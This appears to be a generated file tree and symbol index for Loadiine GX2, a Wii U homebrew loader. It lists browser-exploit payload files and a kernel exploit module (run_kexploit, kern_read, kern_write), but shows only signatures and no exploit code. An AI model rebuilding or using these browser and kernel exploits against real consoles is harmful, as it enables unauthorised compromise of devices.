└── loadiine_gx2/
├── frame.html
├── index.html
├── payload.php
├── payload400.html
├── payload410.html
├── payload500.html
├── payload532.html
├── wiiu_browserhax_common.php
├── wiiuhaxx_common_cfg.php
├── wiiuhaxx_rop_sysver_532.php
└── wiiuhaxx_rop_sysver_550.php
SYMBOL INDEX (822 symbols across 147 files)
FILE: installer/coreinit.h
type iovec (line 46) | struct iovec
type OSContext (line 53) | typedef struct OSContext
FILE: installer/elf_abi.h
type Elf32_Addr (line 43) | typedef unsigned int Elf32_Addr;
type Elf32_Off (line 44) | typedef unsigned int Elf32_Off;
type Elf32_Sword (line 45) | typedef signed int Elf32_Sword;
type Elf32_Word (line 46) | typedef unsigned int Elf32_Word;
type Elf32_Half (line 47) | typedef unsigned short Elf32_Half;
type Elf32_Ehdr (line 106) | typedef struct elfhdr{
type Elf32_Shdr (line 227) | typedef struct {
type Elf32_Sym (line 337) | typedef struct elf32_sym {
type Elf32_Rel (line 386) | typedef struct
type Elf32_Rela (line 393) | typedef struct
type Elf32_Phdr (line 406) | typedef struct {
type Elf32_Dyn (line 440) | typedef struct
FILE: installer/kexploit.c
function run_kexploit (line 12) | void run_kexploit(private_data_t *private_data)
type thread_data_container_t (line 166) | typedef struct
function thread_callback (line 180) | static void thread_callback(int argc, void *argv)
function run_kexploit (line 201) | void run_kexploit(private_data_t *private_data)
function wait (line 523) | void wait(unsigned int coreinit_handle, unsigned int t)
function doBrowserShutdown (line 534) | void doBrowserShutdown(unsigned int coreinit_handle)
function drawString (line 564) | void drawString(unsigned int coreinit_handle, int x, int y, char * string)
function fillScreen (line 572) | void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a)
function flipBuffers (line 581) | void flipBuffers(unsigned int coreinit_handle)
function printOSScreenMsg (line 600) | void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned i...
function setupOSScreen (line 611) | void setupOSScreen(unsigned int coreinit_handle)
function exitOSScreen (line 639) | void exitOSScreen(unsigned int coreinit_handle)
function callSysExit (line 653) | void callSysExit(unsigned int coreinit_handle, void *sysFunc)
function memcmp (line 686) | int memcmp(void *ptr1, void *ptr2, uint32_t length)
function kern_read (line 729) | uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
function kern_write (line 756) | void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
FILE: installer/launcher.c
function __main (line 106) | void __main(void)
function ExitFailure (line 240) | void ExitFailure(private_data_t *private_data, const char *failure)
function SetupKernelSyscall (line 296) | static void SetupKernelSyscall(unsigned int address)
function KernelCopyData (line 313) | static void KernelCopyData(unsigned int addr, unsigned int src, unsigned...
function thread_callback (line 362) | static void thread_callback(int argc, void *argv)
function strcmp (line 373) | static int strcmp(const char *s1, const char *s2)
function get_section (line 390) | static unsigned int get_section(private_data_t *private_data, unsigned c...
function InstallMain (line 426) | static void InstallMain(private_data_t *private_data)
function InstallPatches (line 475) | static void InstallPatches(private_data_t *private_data)
FILE: installer/logger.c
function log_init (line 13) | void log_init(void)
function log_print (line 35) | void log_print(const char *str)
function log_printf (line 55) | void log_printf(const char *format, ...)
FILE: installer/socket.h
type in_addr (line 5) | struct in_addr
type sockaddr (line 10) | struct sockaddr
FILE: installer/structs.h
type file_struct_t (line 4) | typedef struct {
type private_data_t (line 11) | typedef struct {
FILE: installer/types.h
type _Bool (line 15) | typedef _Bool bool;
FILE: sd_loader/src/elf_abi.h
type Elf32_Addr (line 43) | typedef unsigned int Elf32_Addr;
type Elf32_Off (line 44) | typedef unsigned int Elf32_Off;
type Elf32_Sword (line 45) | typedef signed int Elf32_Sword;
type Elf32_Word (line 46) | typedef unsigned int Elf32_Word;
type Elf32_Half (line 47) | typedef unsigned short Elf32_Half;
type Elf32_Ehdr (line 106) | typedef struct elfhdr{
type Elf32_Shdr (line 227) | typedef struct {
type Elf32_Sym (line 337) | typedef struct elf32_sym {
type Elf32_Rel (line 386) | typedef struct
type Elf32_Rela (line 393) | typedef struct
type Elf32_Phdr (line 406) | typedef struct {
type Elf32_Dyn (line 440) | typedef struct
FILE: sd_loader/src/entry.c
type private_data_t (line 14) | typedef struct _private_data_t
function LoadFileToMem (line 42) | static int LoadFileToMem(private_data_t *private_data, const char *filep...
function load_elf_image (line 130) | static unsigned int load_elf_image (private_data_t *private_data, unsign...
function loadFunctionPointers (line 194) | static void loadFunctionPointers(private_data_t * private_data)
function _start (line 238) | int _start(int argc, char **argv)
FILE: server/src/Program.cs
class Program (line 12) | class Program
method Main (line 84) | static void Main(string[] args)
method Log (line 125) | static void Log(StreamWriter log, String str)
method Handle (line 132) | static void Handle(object client_obj)
FILE: server/src/System/IO/EndianBinaryReader.cs
class EndianBinaryReader (line 7) | sealed class EndianBinaryReader : IDisposable
method EndianBinaryReader (line 23) | public EndianBinaryReader(Stream baseStream)
method EndianBinaryReader (line 27) | public EndianBinaryReader(Stream baseStream, Endianness endianness)
method FillBuffer (line 46) | private void FillBuffer(int bytes, int stride)
method ArrayReverse2 (line 69) | private static void ArrayReverse2(byte[] array, int arrayLength)
method ArrayReverse4 (line 82) | private static void ArrayReverse4(byte[] array, int arrayLength)
method ArrayReverse8 (line 98) | private static void ArrayReverse8(byte[] array, int arrayLength)
method ReadByte (line 120) | public byte ReadByte()
method ReadBytes (line 127) | public byte[] ReadBytes(int count)
method ReadSByte (line 137) | public sbyte ReadSByte()
method ReadSBytes (line 147) | public sbyte[] ReadSBytes(int count)
method ReadChar (line 165) | public char ReadChar(Encoding encoding)
method ReadChars (line 176) | public char[] ReadChars(Encoding encoding, int count)
method GetEncodingSize (line 187) | private static int GetEncodingSize(Encoding encoding)
method ReadStringNT (line 197) | public string ReadStringNT(Encoding encoding)
method ReadString (line 211) | public string ReadString(Encoding encoding, int count)
method ReadDouble (line 216) | public double ReadDouble()
method ReadDoubles (line 223) | public double[] ReadDoubles(int count)
method ReadSingle (line 238) | public Single ReadSingle()
method ReadSingles (line 245) | public Single[] ReadSingles(int count)
method ReadInt32 (line 260) | public Int32 ReadInt32()
method ReadInt32s (line 267) | public Int32[] ReadInt32s(int count)
method ReadInt64 (line 282) | public Int64 ReadInt64()
method ReadInt64s (line 289) | public Int64[] ReadInt64s(int count)
method ReadInt16 (line 304) | public Int16 ReadInt16()
method ReadInt16s (line 311) | public Int16[] ReadInt16s(int count)
method ReadUInt16 (line 326) | public UInt16 ReadUInt16()
method ReadUInt16s (line 333) | public UInt16[] ReadUInt16s(int count)
method ReadUInt32 (line 348) | public UInt32 ReadUInt32()
method ReadUInt32s (line 355) | public UInt32[] ReadUInt32s(int count)
method ReadUInt64 (line 370) | public UInt64 ReadUInt64()
method ReadUInt64s (line 377) | public UInt64[] ReadUInt64s(int count)
method GetParser (line 392) | private List<Tuple<int, TypeCode>> GetParser(Type type)
method RunParser (line 532) | private void RunParser(List<Tuple<int, TypeCode>> parser, BinaryWriter...
method ReadStructure (line 570) | public object ReadStructure(Type type)
method ReadStructures (line 588) | public Array ReadStructures(Type type, int count)
method Close (line 612) | public void Close()
method Dispose (line 617) | public void Dispose()
method Dispose (line 623) | private void Dispose(bool disposing)
type Endianness (line 639) | enum Endianness
FILE: server/src/System/IO/EndianBinaryWriter.cs
class EndianBinaryWriter (line 7) | sealed class EndianBinaryWriter : IDisposable
method EndianBinaryWriter (line 23) | public EndianBinaryWriter(Stream baseStream)
method EndianBinaryWriter (line 27) | public EndianBinaryWriter(Stream baseStream, Endianness endianness)
method WriteBuffer (line 41) | private void WriteBuffer(int bytes, int stride)
method ArrayReverse2 (line 57) | private static void ArrayReverse2(byte[] array, int arrayLength)
method ArrayReverse4 (line 70) | private static void ArrayReverse4(byte[] array, int arrayLength)
method ArrayReverse8 (line 86) | private static void ArrayReverse8(byte[] array, int arrayLength)
method CreateBuffer (line 108) | private void CreateBuffer(int size)
method Write (line 114) | public void Write(byte value)
method Write (line 121) | public void Write(byte[] value, int offset, int count)
method Write (line 128) | public void Write(sbyte value)
method Write (line 138) | public void Write(sbyte[] value, int offset, int count)
method Write (line 153) | public void Write(char value, Encoding encoding)
method Write (line 165) | public void Write(char[] value, int offset, int count, Encoding encoding)
method GetEncodingSize (line 177) | private static int GetEncodingSize(Encoding encoding)
method Write (line 187) | public void Write(string value,Encoding encoding, bool nullTerminated)
method Write (line 194) | public void Write(double value)
method Write (line 203) | public void Write(double[] value, int offset, int count)
method Write (line 216) | public void Write(Single value)
method Write (line 225) | public void Write(Single[] value, int offset, int count)
method Write (line 238) | public void Write(Int32 value)
method Write (line 247) | public void Write(Int32[] value, int offset, int count)
method Write (line 260) | public void Write(Int64 value)
method Write (line 269) | public void Write(Int64[] value, int offset, int count)
method Write (line 282) | public void Write(Int16 value)
method Write (line 291) | public void Write(Int16[] value, int offset, int count)
method Write (line 304) | public void Write(UInt16 value)
method Write (line 313) | public void Write(UInt16[] value, int offset, int count)
method Write (line 326) | public void Write(UInt32 value)
method Write (line 335) | public void Write(UInt32[] value, int offset, int count)
method Write (line 348) | public void Write(UInt64 value)
method Write (line 357) | public void Write(UInt64[] value, int offset, int count)
method WritePadding (line 370) | public void WritePadding(int multiple, byte padding)
method WritePadding (line 382) | public void WritePadding(int multiple, byte padding, long from, int of...
method GetParser (line 395) | private List<Tuple<int, TypeCode>> GetParser(Type type)
method RunParser (line 535) | private void RunParser(List<Tuple<int, TypeCode>> parser, BinaryReader...
method Write (line 573) | public void Write(object structure)
method Write (line 593) | public void Write(Array structures)
method Close (line 617) | public void Close()
method Dispose (line 622) | public void Dispose()
method Dispose (line 628) | private void Dispose(bool disposing)
FILE: src/Application.h
function class (line 24) | class Application : public CThread
FILE: src/common/common.h
type game_paths_t (line 93) | typedef struct _game_paths_t
FILE: src/common/kernel_defs.h
type CosAppXmlInfo (line 12) | typedef struct
type ReducedCosAppXmlInfo (line 74) | typedef struct
type bat_t (line 101) | typedef struct _bat_t
type bat_table_t (line 107) | typedef struct _bat_table_t
FILE: src/common/loader_defs.h
type loader_globals_t (line 11) | typedef struct _loader_globals_t
type loader_globals_550_t (line 23) | typedef struct _loader_globals_550_t
FILE: src/common/os_defs.h
type OsSpecifics (line 8) | typedef struct _OsSpecifics
FILE: src/entry.cpp
function __entry_menu (line 21) | int __entry_menu(int argc, char **argv)
FILE: src/fs/CFile.hpp
class CFile (line 11) | class CFile
type eOpenTypes (line 14) | enum eOpenTypes
method isOpen (line 30) | bool isOpen() const {
method u64 (line 46) | u64 tell() { return pos; }
method u64 (line 47) | u64 size() { return filesize; }
method rewind (line 48) | void rewind() { this->seek(0, SEEK_SET); }
FILE: src/fs/DirList.cpp
type dirent (line 80) | struct dirent
function SortCallback (line 178) | static bool SortCallback(const DirEntry & f1, const DirEntry & f2)
function u64 (line 204) | u64 DirList::GetFilesize(int index) const
FILE: src/fs/DirList.h
type DirEntry (line 34) | typedef struct
function class (line 40) | class DirList
FILE: src/fs/fs_utils.c
function MountFS (line 9) | int MountFS(void *pClient, void *pCmd, char **mount_path)
function UmountFS (line 42) | int UmountFS(void *pClient, void *pCmd, const char *mountPath)
function LoadFileToMem (line 50) | int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size)
function CheckFile (line 103) | int CheckFile(const char * filepath)
function CreateSubfolder (line 128) | int CreateSubfolder(const char * fullpath)
FILE: src/fs/sd_fat_devoptab.c
type sd_fat_private_t (line 40) | typedef struct _sd_fat_private_t {
type sd_fat_file_state_t (line 47) | typedef struct _sd_fat_file_state_t {
type sd_fat_dir_entry_t (line 60) | typedef struct _sd_fat_dir_entry_t {
function sd_fat_private_t (line 65) | static sd_fat_private_t *sd_fat_get_device_data(const char *path)
function sd_fat_open_r (line 113) | static int sd_fat_open_r (struct _reent *r, void *fileStruct, const char...
function sd_fat_close_r (line 187) | static int sd_fat_close_r (struct _reent *r, void *fd)
function off_t (line 209) | static off_t sd_fat_seek_r (struct _reent *r, void* fd, off_t pos, int dir)
function sd_fat_write_r (line 247) | static ssize_t sd_fat_write_r (struct _reent *r, void *fd, const char *p...
function sd_fat_read_r (line 305) | static ssize_t sd_fat_read_r (struct _reent *r, void* fd, char *ptr, siz...
function sd_fat_fstat_r (line 364) | static int sd_fat_fstat_r (struct _reent *r, void* fd, struct stat *st)
function sd_fat_ftruncate_r (line 402) | static int sd_fat_ftruncate_r (struct _reent *r, void* fd, off_t len)
function sd_fat_fsync_r (line 424) | static int sd_fat_fsync_r (struct _reent *r, void* fd)
function sd_fat_stat_r (line 446) | static int sd_fat_stat_r (struct _reent *r, const char *path, struct sta...
function sd_fat_link_r (line 497) | static int sd_fat_link_r (struct _reent *r, const char *existing, const ...
function sd_fat_unlink_r (line 503) | static int sd_fat_unlink_r (struct _reent *r, const char *name)
function sd_fat_chdir_r (line 535) | static int sd_fat_chdir_r (struct _reent *r, const char *name)
function sd_fat_rename_r (line 566) | static int sd_fat_rename_r (struct _reent *r, const char *oldName, const...
function sd_fat_mkdir_r (line 606) | static int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode)
function sd_fat_statvfs_r (line 637) | static int sd_fat_statvfs_r (struct _reent *r, const char *path, struct ...
function DIR_ITER (line 701) | static DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState,...
function sd_fat_dirclose_r (line 740) | static int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState)
function sd_fat_dirreset_r (line 762) | static int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState)
function sd_fat_dirnext_r (line 784) | static int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char ...
function sd_fat_add_device (line 860) | static int sd_fat_add_device (const char *name, const char *mount_path, ...
function deleteDevTabsNames (line 945) | void deleteDevTabsNames(){
function sd_fat_remove_device (line 961) | static int sd_fat_remove_device (const char *path, void **pClient, void ...
function mount_sd_fat (line 1005) | int mount_sd_fat(const char *path)
function unmount_sd_fat (line 1036) | int unmount_sd_fat(const char *path)
function mount_fake (line 1055) | int mount_fake(){
function unmount_fake (line 1059) | int unmount_fake(){
FILE: src/game/GameLauncher.cpp
function GameLauncher (line 39) | GameLauncher * GameLauncher::loadGameToMemoryAsync(const discHeader *hdr)
FILE: src/game/GameLauncher.h
type eLoadResults (line 19) | enum eLoadResults
FILE: src/game/GameList.cpp
function discHeader (line 23) | discHeader * GameList::getDiscHeader(const std::string & gameID) const
FILE: src/game/GameList.h
type discHeader (line 7) | typedef struct _discHeader
function class (line 14) | class GameList
FILE: src/game/memory_area_table.c
type memory_values_t (line 23) | typedef struct _memory_values_t
function s_mem_area (line 334) | s_mem_area * memoryGetAreaTable(void)
function memoryAddArea (line 339) | static inline void memoryAddArea(int start, int end, int cur_index)
function memoryInitAreaTable (line 355) | void memoryInitAreaTable()
FILE: src/game/memory_area_table.h
type s_mem_area (line 25) | typedef struct _s_mem_area
FILE: src/game/rpx_rpl_table.c
function rpxRplTableInit (line 10) | void rpxRplTableInit(void)
function s_rpx_rpl (line 18) | s_rpx_rpl * rpxRplTableAddEntry(const char *name, int offset, int size, ...
function s_rpx_rpl (line 45) | s_rpx_rpl* rpxRplTableGet(void)
function s_mem_area (line 50) | s_mem_area *rpxRplTableGetNextFreeMemArea(u32 * mem_area_addr_start, u32...
function rpxRplCopyDataToMem (line 91) | int rpxRplCopyDataToMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, const...
function rpxRplCopyDataFromMem (line 145) | int rpxRplCopyDataFromMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, u8 ...
FILE: src/game/rpx_rpl_table.h
type s_rpx_rpl (line 13) | typedef struct _s_rpx_rpl
FILE: src/gui/FreeTypeGX.cpp
function wchar_t (line 74) | wchar_t* FreeTypeGX::charToWideChar(const char* strChar)
function ftgxCharData (line 187) | ftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixe...
FILE: src/gui/FreeTypeGX.h
type ftgxCharData (line 46) | typedef struct ftgxCharData_
type ftgxDataOffset (line 64) | typedef struct ftgxDataOffset_
type ftgxCharData (line 72) | typedef struct ftgxCharData_ ftgxCharData;
type ftgxDataOffset (line 73) | typedef struct ftgxDataOffset_ ftgxDataOffset;
function class (line 111) | class FreeTypeGX
FILE: src/gui/GameBgImage.h
function class (line 7) | class GameBgImage : public GuiImageAsync
FILE: src/gui/GameIcon.h
function class (line 7) | class GameIcon : public GuiImageAsync
FILE: src/gui/GridBackground.h
function class (line 7) | class GridBackground : public GuiImage
FILE: src/gui/GuiButton.h
function class (line 28) | class GuiButton : public GuiElement
FILE: src/gui/GuiCheckBox.h
function class (line 25) | class GuiCheckBox : public GuiToggle
FILE: src/gui/GuiConfigurationScreen.h
function class (line 23) | class GuiConfigurationScreen : public GuiFrame
FILE: src/gui/GuiController.h
function class (line 23) | class GuiController
function virtual (line 55) | virtual ~GuiController() {}
type PadData (line 59) | typedef struct
FILE: src/gui/GuiDragListener.h
function class (line 25) | class GuiDragListener : public GuiElement
FILE: src/gui/GuiElement.cpp
function f32 (line 68) | f32 GuiElement::getLeft()
function f32 (line 103) | f32 GuiElement::getTop()
FILE: src/gui/GuiElement.h
function class (line 75) | class GuiElement : public AsyncDeleter::Element
function virtual (line 291) | virtual s32 getStateChan() { return stateChan; }
function virtual (line 293) | virtual void resetState()
function virtual (line 301) | virtual void setAlpha(f32 a) { alpha = a; }
function virtual (line 305) | virtual f32 getAlpha()
function virtual (line 321) | virtual void setScale(float s)
function virtual (line 329) | virtual void setScaleX(float s) { scaleX = s; }
function virtual (line 332) | virtual void setScaleY(float s) { scaleY = s; }
function virtual (line 335) | virtual void setScaleZ(float s) { scaleZ = s; }
function virtual (line 338) | virtual float getScale()
function virtual (line 349) | virtual float getScaleX()
function virtual (line 360) | virtual float getScaleY()
function virtual (line 371) | virtual float getScaleZ()
function virtual (line 382) | virtual bool isRumbleActive() { return rumble; }
function virtual (line 385) | virtual void setRumble(bool r) { rumble = r; }
function virtual (line 397) | virtual void setEffectGrow() { setEffectOnOver(EFFECT_SCALE, 4, 110); }
function virtual (line 409) | virtual bool isInside(f32 x, f32 y)
function virtual (line 419) | virtual void setPosition(f32 x, f32 y)
function virtual (line 428) | virtual void setPosition(f32 x, f32 y, f32 z)
function virtual (line 436) | virtual s32 getSelected() { return -1; }
function virtual (line 440) | virtual void setAlignment(s32 a) { alignment = a; }
function virtual (line 444) | virtual void setAngle(f32 a) { angle = a; }
function virtual (line 446) | virtual f32 getAngle() const { f32 r_angle = angle; if(parentElement) r_...
function virtual (line 451) | virtual void draw(CVideo * v) { }
function virtual (line 453) | virtual void process() { }
type POINT (line 459) | typedef struct _POINT {
function POINT (line 478) | POINT PtrToScreen(POINT p)
function POINT (line 485) | POINT PtrToControl(POINT p)
FILE: src/gui/GuiFrame.cpp
function GuiElement (line 99) | GuiElement* GuiFrame::getGuiElementAt(u32 index) const
function u32 (line 106) | u32 GuiFrame::getSize()
function s32 (line 151) | s32 GuiFrame::getSelected()
FILE: src/gui/GuiFrame.h
function class (line 25) | class GuiFrame : public GuiElement
FILE: src/gui/GuiGameBrowser.h
function class (line 23) | class GuiGameBrowser : public GuiFrame
FILE: src/gui/GuiGameCarousel.h
function OnLaunchClick (line 50) | void OnLaunchClick(GuiButton *button, const GuiController *controller, G...
FILE: src/gui/GuiIconCarousel.h
function draw (line 37) | void draw(CVideo *pVideo)
function OnLaunchClick (line 55) | void OnLaunchClick(GuiButton *button, const GuiController *controller, G...
FILE: src/gui/GuiImage.cpp
function GX2Color (line 117) | GX2Color GuiImage::getPixel(s32 x, s32 y)
FILE: src/gui/GuiImage.h
function class (line 25) | class GuiImage : public GuiElement
FILE: src/gui/GuiImageAsync.h
function class (line 26) | class GuiImageAsync : public GuiImage
FILE: src/gui/GuiImageData.h
function class (line 25) | class GuiImageData : public AsyncDeleter::Element
FILE: src/gui/GuiParticleImage.cpp
function f32 (line 23) | static inline f32 getRandZeroToOneF32()
function f32 (line 28) | static inline f32 getRandMinusOneToOneF32()
FILE: src/gui/GuiParticleImage.h
type Particle (line 33) | typedef struct
FILE: src/gui/GuiSelectBox.cpp
function f32 (line 248) | f32 GuiSelectBox::getTopValueHeight() {
function f32 (line 252) | f32 GuiSelectBox::getTopValueWidth() {
function f32 (line 256) | f32 GuiSelectBox::getHeight(){
function f32 (line 260) | f32 GuiSelectBox::getWidth(){
FILE: src/gui/GuiSelectBox.h
type SelectBoxValueButton (line 92) | typedef struct
FILE: src/gui/GuiSound.h
function class (line 24) | class GuiSound : public AsyncDeleter::Element
FILE: src/gui/GuiSwitch.h
function class (line 25) | class GuiSwitch : public GuiToggle
FILE: src/gui/GuiText.cpp
function s32 (line 297) | s32 GuiText::getTextWidth(s32 ind)
function wchar_t (line 305) | const wchar_t * GuiText::getDynText(s32 ind)
FILE: src/gui/GuiText.h
function class (line 25) | class GuiText : public GuiElement
FILE: src/gui/GuiToggle.h
function setValue (line 32) | void setValue(bool checked){
function setChecked (line 39) | void setChecked(){
function setUnchecked (line 43) | void setUnchecked(){
function getValue (line 46) | bool getValue(){
FILE: src/gui/GuiTrigger.cpp
function s32 (line 110) | s32 GuiTrigger::clicked(const GuiController *controller) const
FILE: src/gui/GuiTrigger.h
function class (line 24) | class GuiTrigger
FILE: src/gui/Scrollbar.h
function s32 (line 37) | s32 GetSelectedItem() { return SelItem; }
function s32 (line 38) | s32 GetSelectedIndex() { return SelInd; }
FILE: src/gui/VPadController.h
function class (line 23) | class VPadController : public GuiController
function virtual (line 34) | virtual ~VPadController() {}
function update (line 36) | bool update(s32 width, s32 height)
FILE: src/gui/WPadController.h
function class (line 23) | class WPadController : public GuiController
function virtual (line 34) | virtual ~WPadController() {}
function u32 (line 36) | u32 remapWiiMoteButtons(u32 buttons)
function u32 (line 81) | u32 remapClassicButtons(u32 buttons)
function update (line 133) | bool update(s32 width, s32 height)
FILE: src/gui/sigslot.h
function namespace (line 94) | namespace sigslot {
function class (line 122) | class multi_threaded_global
function virtual (line 141) | virtual ~multi_threaded_global()
function virtual (line 146) | virtual void lock()
function virtual (line 151) | virtual void unlock()
function class (line 164) | class multi_threaded_local
function class (line 199) | class multi_threaded_global
function virtual (line 212) | virtual ~multi_threaded_global()
function virtual (line 217) | virtual void lock()
function virtual (line 222) | virtual void unlock()
function class (line 235) | class multi_threaded_local
function class (line 270) | class multi_threaded_global
function virtual (line 283) | virtual ~multi_threaded_global()
function virtual (line 288) | virtual void lock()
function virtual (line 293) | virtual void unlock()
function class (line 299) | class multi_threaded_local
function virtual (line 312) | virtual ~multi_threaded_local()
function virtual (line 316) | virtual void lock()
function virtual (line 321) | virtual void unlock()
function m_mutex (line 336) | m_mutex(mtx)
type typename (line 478) | typedef typename sender_set::const_iterator const_iterator;
function mt_policy (line 486) | has_slots(const has_slots& hs)
function signal_connect (line 501) | void signal_connect(_signal_base<mt_policy>* sender)
function signal_disconnect (line 507) | void signal_disconnect(_signal_base<mt_policy>* sender)
function virtual (line 513) | virtual ~has_slots()
function disconnect_all (line 518) | void disconnect_all()
type typename (line 542) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 543) | typedef typename connections_list::iterator iterator;
function s (line 550) | _signal_base0(const _signal_base0& s)
function disconnect_all (line 571) | void disconnect_all()
function disconnect (line 588) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 608) | bool connected()
function slot_disconnect (line 613) | void slot_disconnect(has_slots<mt_policy>* pslot)
function slot_duplicate (line 635) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
type typename (line 661) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 662) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 685) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 707) | void disconnect_all()
function disconnect (line 724) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 744) | bool connected()
function slot_disconnect (line 749) | void slot_disconnect(has_slots<mt_policy>* pslot)
type typename (line 782) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 783) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 806) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 828) | void disconnect_all()
function disconnect (line 845) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 865) | bool connected()
function slot_disconnect (line 870) | void slot_disconnect(has_slots<mt_policy>* pslot)
type typename (line 903) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 904) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 926) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 948) | void disconnect_all()
function disconnect (line 965) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 985) | bool connected()
function slot_disconnect (line 990) | void slot_disconnect(has_slots<mt_policy>* pslot)
type typename (line 1022) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 1023) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 1046) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 1068) | void disconnect_all()
function disconnect (line 1085) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 1105) | bool connected()
function slot_disconnect (line 1110) | void slot_disconnect(has_slots<mt_policy>* pslot)
type typename (line 1143) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 1144) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 1168) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 1190) | void disconnect_all()
function disconnect (line 1207) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 1227) | bool connected()
function slot_disconnect (line 1232) | void slot_disconnect(has_slots<mt_policy>* pslot)
type typename (line 1265) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 1266) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 1290) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 1312) | void disconnect_all()
function disconnect (line 1329) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 1349) | bool connected()
function slot_disconnect (line 1354) | void slot_disconnect(has_slots<mt_policy>* pslot)
type typename (line 1387) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 1388) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 1412) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 1434) | void disconnect_all()
function disconnect (line 1451) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 1471) | bool connected()
function slot_disconnect (line 1476) | void slot_disconnect(has_slots<mt_policy>* pslot)
type typename (line 1510) | typedef typename connections_list::const_iterator const_iterator;
type typename (line 1511) | typedef typename connections_list::iterator iterator;
function slot_duplicate (line 1535) | void slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_...
function disconnect_all (line 1557) | void disconnect_all()
function disconnect (line 1574) | void disconnect(has_slots<mt_policy>* pclass)
function connected (line 1594) | bool connected()
function slot_disconnect (line 1599) | void slot_disconnect(has_slots<mt_policy>* pslot)
function virtual (line 1642) | virtual ~_connection0()
function virtual (line 1647) | virtual _connection_base0<mt_policy>* clone()
function virtual (line 1652) | virtual _connection_base0<mt_policy>* duplicate(has_slots<mt_policy>* pn...
function virtual (line 1657) | virtual void emit()
function virtual (line 1662) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 1688) | virtual ~_connection1()
function virtual (line 1703) | virtual void emit(arg1_type a1)
function virtual (line 1708) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 1735) | virtual ~_connection2()
function virtual (line 1751) | virtual void emit(arg1_type a1, arg2_type a2)
function virtual (line 1756) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 1783) | virtual ~_connection3()
function virtual (line 1799) | virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3)
function virtual (line 1804) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 1833) | virtual ~_connection4()
function virtual (line 1848) | virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3,
function virtual (line 1854) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 1884) | virtual ~_connection5()
function virtual (line 1903) | virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
function virtual (line 1909) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 1939) | virtual ~_connection6()
function virtual (line 1958) | virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
function virtual (line 1964) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 1994) | virtual ~_connection7()
function virtual (line 2013) | virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
function virtual (line 2019) | virtual has_slots<mt_policy>* getdest() const
function virtual (line 2051) | virtual ~_connection8()
function virtual (line 2070) | virtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
function virtual (line 2076) | virtual has_slots<mt_policy>* getdest() const
type typename (line 2091) | typedef typename _signal_base0<mt_policy>::connections_list::const_itera...
function emit (line 2118) | void emit()
function emit (line 2184) | void emit(arg1_type a1)
type typename (line 2223) | typedef typename _signal_base2<arg1_type, arg2_type, mt_policy>::connect...
function emit (line 2251) | void emit(arg1_type a1, arg2_type a2)
function emit (line 2319) | void emit(arg1_type a1, arg2_type a2, arg3_type a3)
function emit (line 2388) | void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4)
function emit (line 2460) | void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
type typename (line 2504) | typedef typename _signal_base6<arg1_type, arg2_type, arg3_type,
function emit (line 2537) | void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
function emit (line 2614) | void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
